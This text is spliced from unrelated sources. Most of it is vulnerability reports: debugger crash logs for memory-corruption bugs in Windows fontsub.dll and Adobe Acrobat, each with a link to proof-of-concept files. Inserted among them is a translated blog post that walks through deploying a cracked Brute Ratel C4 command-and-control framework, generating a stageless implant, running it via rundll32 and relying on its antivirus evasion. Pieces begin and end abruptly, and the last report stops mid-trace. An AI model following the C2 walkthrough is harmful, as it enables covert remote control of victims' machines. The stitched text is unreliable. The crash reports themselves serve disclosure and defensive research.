-----=====[ Proof of Concept ]=====-----

The proof of concept is a PDF file with an embedded Type 1 font, which includes an extra "/FDArray 0" operator to set the length of FDArray to 0, as described above.

-----=====[ Crash logs ]=====-----

For reliable reproduction, we have enabled the PageHeap for Acrobat.exe in Application Verifier. In addition to allocating memory on page boundaries, it also fills out newly returned memory with a 0xc0 value, resulting in more consistent crashes when using such uninitialized data.

When the poc.pdf file is opened with Adobe Acrobat Pro and converted to a PostScript document via "File > Export To > (Encapsulated) PostScript", the following crash occurs in Acrobat.exe:

--- cut ---
(2728.221c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=84ca7ef4 ebx=87edee2c ecx=c0c0c0c0 edx=00000000 esi=012f9a2c edi=00000021
eip=548d0e67 esp=012f99e0 ebp=012f99f4 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00210202
CoolType!CTGetVersion+0xafccf:
548d0e67 ff510c          call    dword ptr [ecx+0Ch]  ds:002b:c0c0c0cc=????????

0:000> k
 # ChildEBP RetAddr  
WARNING: Stack unwind information not available. Following frames may be wrong.
00 012f99f4 548d1091 CoolType!CTGetVersion+0xafccf
01 012f9a1c 548d1b6e CoolType!CTGetVersion+0xafef9
02 012f9ea0 548d545e CoolType!CTGetVersion+0xb09d6
03 012f9ed0 548d63b1 CoolType!CTGetVersion+0xb42c6
04 012f9eec 548a6164 CoolType!CTGetVersion+0xb5219
05 012f9f14 548a3919 CoolType!CTGetVersion+0x84fcc
06 012f9f34 5486bd5c CoolType!CTGetVersion+0x82781
07 012f9f70 54842786 CoolType!CTGetVersion+0x4abc4
08 012fa224 548ec8bd CoolType!CTGetVersion+0x215ee
09 012fb768 548ed5de CoolType!CTGetVersion+0xcb725
0a 012fc830 548243e6 CoolType!CTGetVersion+0xcc446
0b 012fc92c 54823fda CoolType!CTGetVersion+0x324e
0c 012fc940 54904037 CoolType!CTGetVersion+0x2e42
0d 012fc980 0c146986 CoolType!CTGetVersion+0xe2e9f
0e 012fc9f4 0c16008f AGM!AGMGetVersion+0x23eb86
0f 012fca40 0c16039c AGM!AGMGetVersion+0x25828f
10 012fca6c 0c1603fd AGM!AGMGetVersion+0x25859c
11 012fcaac 0c129704 AGM!AGMGetVersion+0x2585fd
12 012fcd48 62c11f7a AGM!AGMGetVersion+0x221904
13 012fcd88 62c1fde1 BIB!BIBInitialize4+0x7ff
14 012fcd90 62c11ee1 BIB!BIBLockSmithUnlockImpl+0x48c9
15 00000000 00000000 BIB!BIBInitialize4+0x766
--- cut ---

The value of ECX is loaded from EAX:

--- cut ---
0:000> u @$scopeip-7
CoolType!CTGetVersion+0xafcc8:
548d0e60 8b4808          mov     ecx,dword ptr [eax+8]
548d0e63 ff7004          push    dword ptr [eax+4]
548d0e66 51              push    ecx
548d0e67 ff510c          call    dword ptr [ecx+0Ch]
548d0e6a 83c40c          add     esp,0Ch
548d0e6d 85c0            test    eax,eax
548d0e6f 7405            je      CoolType!CTGetVersion+0xafcde (548d0e76)
548d0e71 33c0            xor     eax,eax
--- cut ---

And it is clear that almost none of the memory under [EAX] is initialized at the time of the crash:

--- cut ---
0:000> dd eax
84ca7ef4  c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
84ca7f04  c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c00000
84ca7f14  c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
84ca7f24  c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
84ca7f34  c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
84ca7f44  c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
84ca7f54  c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
84ca7f64  c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
--- cut ---

-----=====[ References ]=====-----

[1] https://blog.typekit.com/2014/09/19/new-from-adobe-type-open-sourced-font-development-tools/
[2] https://github.com/adobe-type-tools/afdko


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47260.zip
            
-----=====[ Background ]=====-----

The Microsoft Font Subsetting DLL (fontsub.dll) is a default Windows helper library for subsetting TTF fonts; i.e. converting fonts to their more compact versions based on the specific glyphs used in the document where the fonts are embedded. It is used by Windows GDI and Direct2D, and parts of the same code are also found in the t2embed.dll library designed to load and process embedded fonts.

The DLL exposes two API functions: CreateFontPackage and MergeFontPackage. We have developed a testing harness which invokes a pseudo-random sequence of such calls with a chosen font file passed as input. This report describes a crash triggered by a malformed font file in the fontsub.dll code through our harness.

-----=====[ Description ]=====-----

We have encountered the following crash in fontsub!FixSbitSubTables:

--- cut ---
(8ec.5f20): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
FONTSUB!FixSbitSubTables+0x9a9:
00007fff`b4841371 6644892446      mov     word ptr [rsi+rax*2],r12w ds:0000023c`a6765000=????

0:000> ? rsi
Evaluate expression: 2459514064800 = 0000023c`a6764fa0

0:000> ? rax
Evaluate expression: 48 = 00000000`00000030

0:000> ? r12w
Evaluate expression: 0 = 00000000`00000000

0:000> !heap -p -a rsi
    address 0000023ca6764fa0 found in
    _DPH_HEAP_ROOT @ 23ca6681000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                             23ca6683888:      23ca6764fa0               60 -      23ca6764000             2000
          unknown!printable
    00007fffcf6530df ntdll!RtlDebugAllocateHeap+0x000000000000003f
    00007fffcf60b52c ntdll!RtlpAllocateHeap+0x0000000000077d7c
    00007fffcf59143b ntdll!RtlpAllocateHeapInternal+0x00000000000005cb
    00007fff9b90be42 vrfcore!VfCoreRtlAllocateHeap+0x0000000000000022
    00007fffcca398f0 msvcrt!malloc+0x0000000000000070
    00007fffb483fd1e FONTSUB!Mem_Alloc+0x0000000000000012
    00007fffb48412ac FONTSUB!FixSbitSubTables+0x00000000000008e4
    00007fffb4841a5a FONTSUB!FixSbitSubTableArray+0x00000000000001f6
    00007fffb4842460 FONTSUB!ModSbit+0x0000000000000520
    00007fffb48370aa FONTSUB!CreateDeltaTTFEx+0x0000000000000612
    00007fffb4836a63 FONTSUB!CreateDeltaTTF+0x00000000000002cb
    00007fffb483132a FONTSUB!CreateFontPackage+0x000000000000015a
[...]
 
0:000> k
 # Child-SP          RetAddr           Call Site
00 000000b1`2ccfd580 00007fff`b4841a5a FONTSUB!FixSbitSubTables+0x9a9
01 000000b1`2ccfd6c0 00007fff`b4842460 FONTSUB!FixSbitSubTableArray+0x1f6
02 000000b1`2ccfd7e0 00007fff`b48370aa FONTSUB!ModSbit+0x520
03 000000b1`2ccfd920 00007fff`b4836a63 FONTSUB!CreateDeltaTTFEx+0x612
04 000000b1`2ccfda40 00007fff`b483132a FONTSUB!CreateDeltaTTF+0x2cb
05 000000b1`2ccfdb80 00007ff6`1a8a85d1 FONTSUB!CreateFontPackage+0x15a
[...]
--- cut ---

The issue reproduces on a fully updated Windows 10 1709; we haven't tested earlier versions of the system. It could be potentially used to execute arbitrary code in the context of the FontSub client process. It is easiest to reproduce with PageHeap enabled, but it is also possible to observe a crash in a default system configuration. Attached are 4 proof of concept malformed font files which trigger the crash.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47264.zip
            
-----=====[ Background ]=====-----

The Microsoft Font Subsetting DLL (fontsub.dll) is a default Windows helper library for subsetting TTF fonts; i.e. converting fonts to their more compact versions based on the specific glyphs used in the document where the fonts are embedded. It is used by Windows GDI and Direct2D, and parts of the same code are also found in the t2embed.dll library designed to load and process embedded fonts.

The DLL exposes two API functions: CreateFontPackage and MergeFontPackage. We have developed a testing harness which invokes a pseudo-random sequence of such calls with a chosen font file passed as input. This report describes a crash triggered by a malformed font file in the fontsub.dll code through our harness.

-----=====[ Description ]=====-----

We have encountered crashes in fontsub!ReadTableIntoStructure similar to the following:

--- cut ---
(7ac.378c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
FONTSUB!ReadTableIntoStructure+0x378:
00007fff`c0874150 6689540110      mov     word ptr [rcx+rax+10h],dx ds:000001f7`a7429010=????

0:000> ? rcx
Evaluate expression: 32 = 00000000`00000020

0:000> ? rax
Evaluate expression: 2163174707168 = 000001f7`a7428fe0

0:000> ? dx
Evaluate expression: 3 = 00000000`00000003

0:000> !heap -p -a rax
    address 000001f7a7428fe0 found in
    _DPH_HEAP_ROOT @ 1f7a7271000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                             1f7a7276c98:      1f7a7428fe0               20 -      1f7a7428000             2000
    00007fffcf6530df ntdll!RtlDebugAllocateHeap+0x000000000000003f
    00007fffcf60b52c ntdll!RtlpAllocateHeap+0x0000000000077d7c
    00007fffcf59143b ntdll!RtlpAllocateHeapInternal+0x00000000000005cb
    00007fff9b90be42 vrfcore!VfCoreRtlAllocateHeap+0x0000000000000022
    00007fffcca398f0 msvcrt!malloc+0x0000000000000070
    00007fffc086fd1e FONTSUB!Mem_Alloc+0x0000000000000012
    00007fffc0875562 FONTSUB!MergeEblcEbdtTables+0x0000000000000b02
    00007fffc086b0a3 FONTSUB!MergeFonts+0x0000000000000603
    00007fffc086baac FONTSUB!MergeDeltaTTF+0x00000000000003ec
    00007fffc08614b2 FONTSUB!MergeFontPackage+0x0000000000000132
[...]
 
0:000> k
 # Child-SP          RetAddr           Call Site
00 000000d8`664fd3d0 00007fff`c0875599 FONTSUB!ReadTableIntoStructure+0x378
01 000000d8`664fd480 00007fff`c086b0a3 FONTSUB!MergeEblcEbdtTables+0xb39
02 000000d8`664fd690 00007fff`c086baac FONTSUB!MergeFonts+0x603
03 000000d8`664fd840 00007fff`c08614b2 FONTSUB!MergeDeltaTTF+0x3ec
04 000000d8`664fd980 00007ff6`1a8a8a30 FONTSUB!MergeFontPackage+0x132
[...]
--- cut ---

In total, we have discovered crashes in four different locations inside the ReadTableIntoStructure() function.

The issue reproduces on a fully updated Windows 10 1709; we haven't tested earlier versions of the system. It could be potentially used to execute arbitrary code in the context of the FontSub client process. It is easiest to reproduce with PageHeap enabled, but it is also possible to observe a crash in a default system configuration. Attached are 4 proof of concept malformed font files which trigger the crash.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47265.zip
            

In the previous article, we mentioned many C2 framework tools. Such as CS viper, etc. Today I will share with you another fun tool, Brute Ratel C4

Deployment

. After downloading, unzip the file in kali.

1tfjwhmqhhb233.png

Installation environment and certificate (can be omitted)

Enter the adhoc_scripts directory to run, install the environment and generate the certificate

chmod +x install.sh

chmod +x genssl.sh

./install.sh

./genssl.sh 安装环境

生成证书

Next, give brute-ratel-linx64_crack and lib64/commander permissions respectively

chmod +x brute-ratel-linx64_crack

chmod +x lib64/commander pg5stekdjba236.png

Next, start the server./brute-ratel-linx64_crack -ratel -a admin -p password -h 127.0.0.1:50000 -sc cert.pem -sk key.pem After execution, copy the generated key.pem and cert.pem to the tool directory.

pbv1aommzr2237.png

Parameter description: -a Username -p Login password Next, we start the client chmod +x Rungui.sh # Add permissions to the client

./Rungui.sh amlrlobupdq238.png

Modify your port, account password and other information. After you finish, click on the avatar to log in.

5ifcfsyrhby239.png

Add listener

Like tools such as cs, we will create a new listener. Click C4 Profiler - Add http Listener

添加监听

The parameter configuration example is as follows:

stel30tc1ix241.png Note: sleep and jitter are similar to the delay time of CS. They can be adjusted down. After the last line is checked at the end, if the Mazi does not go online at once, it will not be requested.

Generate shell

Click save to get a listener. Right-click this listener and select Stageless to generate the corresponding structure of the horse.

sml3iskkwfp242.png

But for some reason, after the author generates the exe file, he cannot get the shell on the Windows 11 system. Helplessly generated the dll file.

rundll32 kali.dll,main 运行后,成功上线!

At present, the kill-free effect is quite good.

0bxdrd0nitx244.png

Related Operations

命令终端

文件浏览

Of course, there are many fun features. We will update it for you in later articles!

Summary

Advantages: It is very friendly to kill without killing, similar to tools such as CSS, and the entry threshold is low.

Deficiencies: Currently only Windows Payload is supported. I hope to add payloads on other platforms later.

Get the tool, follow the WeChat official account kali notes backend reply (C4)

-----=====[ Background ]=====-----

The Microsoft Font Subsetting DLL (fontsub.dll) is a default Windows helper library for subsetting TTF fonts; i.e. converting fonts to their more compact versions based on the specific glyphs used in the document where the fonts are embedded. It is used by Windows GDI and Direct2D, and parts of the same code are also found in the t2embed.dll library designed to load and process embedded fonts.

The DLL exposes two API functions: CreateFontPackage and MergeFontPackage. We have developed a testing harness which invokes a pseudo-random sequence of such calls with a chosen font file passed as input. This report describes a crash triggered by a malformed font file in the fontsub.dll code through our harness.

-----=====[ Description ]=====-----

We have encountered the following crash in fontsub!MakeFormat12MergedGlyphList:

--- cut ---
(48e4.50e0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
FONTSUB!MakeFormat12MergedGlyphList+0x176:
00007fff`c086908a 458904ca        mov     dword ptr [r10+rcx*8],r8d ds:000001a4`4ebf1000=????????

0:000> ? r10
Evaluate expression: 1805184796672 = 000001a4`4d660800

0:000> ? rcx
Evaluate expression: 2826496 = 00000000`002b2100

0:000> ? r8d
Evaluate expression: 5 = 00000000`00000005

0:000> dd r10
000001a4`4d660800  00000000 00000000 00000020 00000003
000001a4`4d660810  00000021 00000004 00000022 00000005
000001a4`4d660820  00000023 00000006 00000024 00000007
000001a4`4d660830  00000025 00000008 00000026 00000009
000001a4`4d660840  00000027 0000000a 00000028 0000000b
000001a4`4d660850  00000029 0000000c 0000002a 0000000d
000001a4`4d660860  0000002b 0000000e 0000002c 0000000f
000001a4`4d660870  0000002d 00000010 0000002e 00000011

0:000> !heap -p -a r10
    address 000001a44d660800 found in
    _DPH_HEAP_ROOT @ 1a44c521000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                             1a44c5255b0:      1a44d660800          1590800 -      1a44d660000          1592000
    00007fffcf6530df ntdll!RtlDebugAllocateHeap+0x000000000000003f
    00007fffcf60b52c ntdll!RtlpAllocateHeap+0x0000000000077d7c
    00007fffcf59143b ntdll!RtlpAllocateHeapInternal+0x00000000000005cb
    00007fff9b90be42 vrfcore!VfCoreRtlAllocateHeap+0x0000000000000022
    00007fffcca398f0 msvcrt!malloc+0x0000000000000070
    00007fffc086fd1e FONTSUB!Mem_Alloc+0x0000000000000012
    00007fffc0869011 FONTSUB!MakeFormat12MergedGlyphList+0x00000000000000fd
    00007fffc08691ee FONTSUB!MergeFormat12Cmap+0x000000000000011e
    00007fffc08696f8 FONTSUB!MergeCmapTables+0x0000000000000444
    00007fffc086b046 FONTSUB!MergeFonts+0x00000000000005a6
    00007fffc086baac FONTSUB!MergeDeltaTTF+0x00000000000003ec
    00007fffc08614b2 FONTSUB!MergeFontPackage+0x0000000000000132
[...]
 
0:000> k
 # Child-SP          RetAddr           Call Site
00 0000000c`1c7dd310 00007fff`c08691ee FONTSUB!MakeFormat12MergedGlyphList+0x176
01 0000000c`1c7dd350 00007fff`c08696f8 FONTSUB!MergeFormat12Cmap+0x11e
02 0000000c`1c7dd420 00007fff`c086b046 FONTSUB!MergeCmapTables+0x444
03 0000000c`1c7dd500 00007fff`c086baac FONTSUB!MergeFonts+0x5a6
04 0000000c`1c7dd6b0 00007fff`c08614b2 FONTSUB!MergeDeltaTTF+0x3ec
05 0000000c`1c7dd7f0 00007ff6`1a8a8a30 FONTSUB!MergeFontPackage+0x132
[...]
--- cut ---

The issue reproduces on a fully updated Windows 10 1709; we haven't tested earlier versions of the system. It could be potentially used to execute arbitrary code in the context of the FontSub client process. It is easiest to reproduce with PageHeap enabled, but it is also possible to observe a crash in a default system configuration. Attached are 2 proof of concept malformed font files which trigger the crash.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47268.zip
            
-----=====[ Background ]=====-----

The Microsoft Font Subsetting DLL (fontsub.dll) is a default Windows helper library for subsetting TTF fonts; i.e. converting fonts to their more compact versions based on the specific glyphs used in the document where the fonts are embedded. It is used by Windows GDI and Direct2D, and parts of the same code are also found in the t2embed.dll library designed to load and process embedded fonts.

The DLL exposes two API functions: CreateFontPackage and MergeFontPackage. We have developed a testing harness which invokes a pseudo-random sequence of such calls with a chosen font file passed as input. This report describes a crash triggered by a malformed font file in the fontsub.dll code through our harness.

-----=====[ Description ]=====-----

We have encountered the following crash in fontsub!WriteTableFromStructure:

--- cut ---
(3890.25ac): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
FONTSUB!WriteTableFromStructure+0x6e:
00007fff`aa544326 0fb74810        movzx   ecx,word ptr [rax+10h] ds:000001ac`2d48a000=????

0:000> dd rax
000001ac`2d489ff0  d0d0d0c0 d0d0d0d0 d0d0d0d0 d0d0d0d0
000001ac`2d48a000  ???????? ???????? ???????? ????????
000001ac`2d48a010  ???????? ???????? ???????? ????????
000001ac`2d48a020  ???????? ???????? ???????? ????????
000001ac`2d48a030  ???????? ???????? ???????? ????????
000001ac`2d48a040  ???????? ???????? ???????? ????????
000001ac`2d48a050  ???????? ???????? ???????? ????????
000001ac`2d48a060  ???????? ???????? ???????? ????????

0:000> !heap -p -a rax
    address 000001ac2d489ff0 found in
    _DPH_HEAP_ROOT @ 1ac2d041000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                             1ac2d0495b0:      1ac2d489ff0                1 -      1ac2d489000             2000
    00007fffcf6530df ntdll!RtlDebugAllocateHeap+0x000000000000003f
    00007fffcf60b52c ntdll!RtlpAllocateHeap+0x0000000000077d7c
    00007fffcf59143b ntdll!RtlpAllocateHeapInternal+0x00000000000005cb
    00007fff9b90be42 vrfcore!VfCoreRtlAllocateHeap+0x0000000000000022
    00007fffcca398f0 msvcrt!malloc+0x0000000000000070
    00007fffaa53fd1e FONTSUB!Mem_Alloc+0x0000000000000012
    00007fffaa545562 FONTSUB!MergeEblcEbdtTables+0x0000000000000b02
    00007fffaa53b0a3 FONTSUB!MergeFonts+0x0000000000000603
    00007fffaa53baac FONTSUB!MergeDeltaTTF+0x00000000000003ec
    00007fffaa5314b2 FONTSUB!MergeFontPackage+0x0000000000000132
[...]
 
0:000> k
 # Child-SP          RetAddr           Call Site
00 00000078`dc2fd380 00007fff`aa545634 FONTSUB!WriteTableFromStructure+0x6e
01 00000078`dc2fd490 00007fff`aa53b0a3 FONTSUB!MergeEblcEbdtTables+0xbd4
02 00000078`dc2fd6a0 00007fff`aa53baac FONTSUB!MergeFonts+0x603
03 00000078`dc2fd850 00007fff`aa5314b2 FONTSUB!MergeDeltaTTF+0x3ec
04 00000078`dc2fd990 00007ff6`1a8a8a30 FONTSUB!MergeFontPackage+0x132
[...]
--- cut ---

The root cause of the crash seems to be the fact that the MergeEblcEbdtTables() function may allocate a 0-sized buffer and pass it to WriteTableFromStructure() as one of the fields of a structure passed through the fifth argument, but the WriteTableFromStructure() function assumes that the buffer is at least 32 bytes long, and unconditionally reads from it at offset 16, and other offsets later on in the routine.

The issue reproduces on a fully updated Windows 10 1709; we haven't tested earlier versions of the system. It could be potentially used to disclose sensitive data from the process address space. It is easiest to reproduce with PageHeap enabled, but it is also possible to observe a crash in a default system configuration. Attached are 3 proof of concept malformed font files which trigger the crash.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47267.zip
            
-----=====[ Background ]=====-----

The Microsoft Font Subsetting DLL (fontsub.dll) is a default Windows helper library for subsetting TTF fonts; i.e. converting fonts to their more compact versions based on the specific glyphs used in the document where the fonts are embedded. It is used by Windows GDI and Direct2D, and parts of the same code are also found in the t2embed.dll library designed to load and process embedded fonts.

The DLL exposes two API functions: CreateFontPackage and MergeFontPackage. We have developed a testing harness which invokes a pseudo-random sequence of such calls with a chosen font file passed as input. This report describes a crash triggered by a malformed font file in the fontsub.dll code through our harness.

-----=====[ Description ]=====-----

We have encountered the following crash in fontsub!ReadAllocFormat12CharGlyphMapList:

--- cut ---
(5a30.397c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
FONTSUB!ReadAllocFormat12CharGlyphMapList+0x13d:
00007fff`c086cf8d 448904c8        mov     dword ptr [rax+rcx*8],r8d ds:00000225`050b9000=????????

0:000> ? rax
Evaluate expression: 2358021689232 = 00000225`050b8f90

0:000> ? rcx
Evaluate expression: 14 = 00000000`0000000e

0:000> ? r8d
Evaluate expression: 4294967286 = 00000000`fffffff6

0:000> !heap -p -a rax
    address 00000225050b8f90 found in
    _DPH_HEAP_ROOT @ 22505011000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                             22505012478:      225050b8f90               68 -      225050b8000             2000
    00007fffcf6530df ntdll!RtlDebugAllocateHeap+0x000000000000003f
    00007fffcf60b52c ntdll!RtlpAllocateHeap+0x0000000000077d7c
    00007fffcf59143b ntdll!RtlpAllocateHeapInternal+0x00000000000005cb
    00007fff9b90be42 vrfcore!VfCoreRtlAllocateHeap+0x0000000000000022
    00007fffcca398f0 msvcrt!malloc+0x0000000000000070
    00007fffc086fd1e FONTSUB!Mem_Alloc+0x0000000000000012
    00007fffc086cf24 FONTSUB!ReadAllocFormat12CharGlyphMapList+0x00000000000000d4
    00007fffc08706cd FONTSUB!ModCmap+0x0000000000000459
    00007fffc0866eab FONTSUB!CreateDeltaTTFEx+0x0000000000000413
    00007fffc0866a63 FONTSUB!CreateDeltaTTF+0x00000000000002cb
    00007fffc086132a FONTSUB!CreateFontPackage+0x000000000000015a
[...]
 
0:000> k
 # Child-SP          RetAddr           Call Site
00 000000ad`62cfd4b0 00007fff`c08706cd FONTSUB!ReadAllocFormat12CharGlyphMapList+0x13d
01 000000ad`62cfd520 00007fff`c0866eab FONTSUB!ModCmap+0x459
02 000000ad`62cfd660 00007fff`c0866a63 FONTSUB!CreateDeltaTTFEx+0x413
03 000000ad`62cfd780 00007fff`c086132a FONTSUB!CreateDeltaTTF+0x2cb
04 000000ad`62cfd8c0 00007ff6`1a8a85d1 FONTSUB!CreateFontPackage+0x15a
[...]
--- cut ---

The issue reproduces on a fully updated Windows 10 1709; we haven't tested earlier versions of the system. It could be potentially used to execute arbitrary code in the context of the FontSub client process. It is easiest to reproduce with PageHeap enabled, but it is also possible to observe a crash in a default system configuration. Attached are 3 proof of concept malformed font files which trigger the crash.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47266.zip
            
We have observed the following access violation exception in the latest version of Adobe Acrobat Reader DC for Windows, when opening a malformed PDF file:

--- cut ---
(36ec.3210): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=fffff987 ebx=f8519200 ecx=290cc000 edx=290c8fbc esi=28f43098 edi=fffff851
eip=645412f9 esp=1390d9e4 ebp=00000014 iopl=0         nv up ei ng nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010286
AGM!AGMInitialize+0x584c9:
645412f9 8911            mov     dword ptr [ecx],edx  ds:002b:290cc000=????????

0:023> !heap -p -a ecx-8
    address 290cbff8 found in
    _DPH_HEAP_ROOT @ bc51000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                 bc53d9c:         28c10090           4bbf70 -         28c10000           4bd000
    66d6a8d0 verifier!AVrfDebugPageHeapAllocate+0x00000240
    77304b26 ntdll!RtlDebugAllocateHeap+0x0000003c
    7725e3e6 ntdll!RtlpAllocateHeap+0x000000f6
    7725cfb7 ntdll!RtlpAllocateHeapInternal+0x000002b7
    7725ccee ntdll!RtlAllocateHeap+0x0000003e
    66e5aa2f vrfcore!VfCoreRtlAllocateHeap+0x0000001f
    74a2f1f6 ucrtbase!_malloc_base+0x00000026
    0e75fcd9 AcroRd32!AcroWinMainSandbox+0x00003ed9
    64531c72 AGM!AGMInitialize+0x00048e42
 
0:023> kb
 # ChildEBP RetAddr  Args to Child              
WARNING: Stack unwind information not available. Following frames may be wrong.
00 1390da28 77240a31 07bb5958 64540190 1390daac AGM!AGMInitialize+0x584c9
01 1390da9c 74a2f1f6 f238e0c0 07bb5958 0dc0fc40 ntdll!RtlCaptureStackBackTrace+0x41
02 1390dab8 0e75fcd9 004bbf70 0e75fcc0 6451f0bd ucrtbase!_malloc_base+0x26
03 1390db54 6451e588 12b91f98 0000047b 00000001 AcroRd32!AcroWinMainSandbox+0x3ed9
04 1390db58 12b91f98 0000047b 00000001 00000000 AGM!AGMInitialize+0x35758
05 1390db5c 00000000 00000001 00000000 17191e14 0x12b91f98
--- cut ---

Notes:

- Reproduces on Adobe Acrobat Reader DC (2019.012.20035) on Windows 10, with and without PageHeap enabled. Without PageHeap, the crash may also be triggered in ntdll!RtlReportCriticalFailure, if the system allocator detects a corrupted chunk.

- The crash is caused by a heap-based buffer overflow and occurs immediately after opening the PDF document (poc1.pdf), or with a bit of interaction (scrolling to other pages, zooming in and out) for poc2.pdf and poc3.pdf.

- We classify the bug as a potential RCE.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47272.zip
            
We have observed the following access violation exception in the latest version of Adobe Acrobat Reader DC for Windows, when opening a malformed PDF file:

--- cut ---
(2040.5034): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=14080e48 ebx=00000000 ecx=148d9d48 edx=00000000 esi=0ec19d20 edi=f0f0f0f0
eip=0f29f04f esp=050faa10 ebp=050faa34 iopl=0         nv up ei ng nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00210286
AcroRd32!AX_PDXlateToHostEx+0x340fff:
0f29f04f 8b4754          mov     eax,dword ptr [edi+54h] ds:002b:f0f0f144=????????

0:000> kb
 # ChildEBP RetAddr  Args to Child              
WARNING: Stack unwind information not available. Following frames may be wrong.
00 050faa34 0f29ff1b 16daf6c0 00000001 16a94648 AcroRd32!AX_PDXlateToHostEx+0x340fff
01 050faa50 0f29524b 1812da54 050faa98 0edcafa6 AcroRd32!AX_PDXlateToHostEx+0x341ecb
02 050faa5c 0edcafa6 1812da54 050faefc 16a94648 AcroRd32!AX_PDXlateToHostEx+0x3371fb
03 050faa98 0edca5b8 c0010000 00000008 16a94648 AcroRd32!DllCanUnloadNow+0x181fe6
04 050fab54 0edc9928 050faefc 00000000 a705d59c AcroRd32!DllCanUnloadNow+0x1815f8
05 050faea0 0edc98e6 050faefc 1840e4d8 a705d5e4 AcroRd32!DllCanUnloadNow+0x180968
06 050faed8 0edc97c1 050faefc 1840e4d8 050faf68 AcroRd32!DllCanUnloadNow+0x180926
07 050faf44 0edc8788 c0010000 00000008 1840e4d8 AcroRd32!DllCanUnloadNow+0x180801
08 050fb3a4 0edc5cd7 050fb6a8 14b5884c c0010000 AcroRd32!DllCanUnloadNow+0x17f7c8
09 050fcb84 0edc5955 14b5884c c0010000 00000008 AcroRd32!DllCanUnloadNow+0x17cd17
0a 050fcc54 0eda93ed a705b608 1840e4d8 00000000 AcroRd32!DllCanUnloadNow+0x17c995
0b 050fcd34 0ee20753 00000000 00000000 00000000 AcroRd32!DllCanUnloadNow+0x16042d
0c 050fcd94 0edc8184 00000000 00000000 00000000 AcroRd32!CTJPEGDecoderRelease+0x358c3
0d 050fe568 0edc5955 14b587c8 c0010000 00000006 AcroRd32!DllCanUnloadNow+0x17f1c4
0e 050fe638 0eda93ed a7059c24 16a6e638 00000000 AcroRd32!DllCanUnloadNow+0x17c995
0f 050fe718 0eda81e8 00000001 00000000 00000000 AcroRd32!DllCanUnloadNow+0x16042d
10 050fe764 0ed9b383 16a6e638 00000001 00000000 AcroRd32!DllCanUnloadNow+0x15f228
11 050fe8d8 0ed9ac97 18084704 00000001 175d4f70 AcroRd32!DllCanUnloadNow+0x1523c3
12 050fe940 0ed98590 a70592fc 21abd808 0c1d0a28 AcroRd32!DllCanUnloadNow+0x151cd7
13 050fe9c0 0ed9825a 175d4f70 18f82c10 0c1d0a38 AcroRd32!DllCanUnloadNow+0x14f5d0
14 050fe9fc 0ed98192 175d4f70 18f82c10 0c1d0a38 AcroRd32!DllCanUnloadNow+0x14f29a
15 050fea84 0ed9750e 175d4f70 18f82c10 050fecb8 AcroRd32!DllCanUnloadNow+0x14f1d2
16 050feac0 0ed96122 175d4f70 18f82c10 050fecb8 AcroRd32!DllCanUnloadNow+0x14e54e
17 050fed84 0ed95168 175d4f70 050fee18 050fee68 AcroRd32!DllCanUnloadNow+0x14d162
18 050fee88 0ed94375 175d4f70 050fefb8 00000000 AcroRd32!DllCanUnloadNow+0x14c1a8
19 050fefdc 0ed934ba 175d4f70 050ff0e0 00000000 AcroRd32!DllCanUnloadNow+0x14b3b5
1a 050ff03c 0ed9334d 175d4f70 050ff0e0 00000000 AcroRd32!DllCanUnloadNow+0x14a4fa
1b 050ff05c 0ed91f3c 175d4f70 050ff0e0 00000000 AcroRd32!DllCanUnloadNow+0x14a38d
1c 050ff114 0ed91962 00000001 00000000 a7058a50 AcroRd32!DllCanUnloadNow+0x148f7c
1d 050ff16c 0ed9177a 181d3680 00000001 a7058aec AcroRd32!DllCanUnloadNow+0x1489a2
1e 050ff1d0 0ed914ff 050ff2c4 a70589d8 18eb9920 AcroRd32!DllCanUnloadNow+0x1487ba
1f 050ff2e4 0ec566ec 18eb9920 0ec56610 00000000 AcroRd32!DllCanUnloadNow+0x14853f
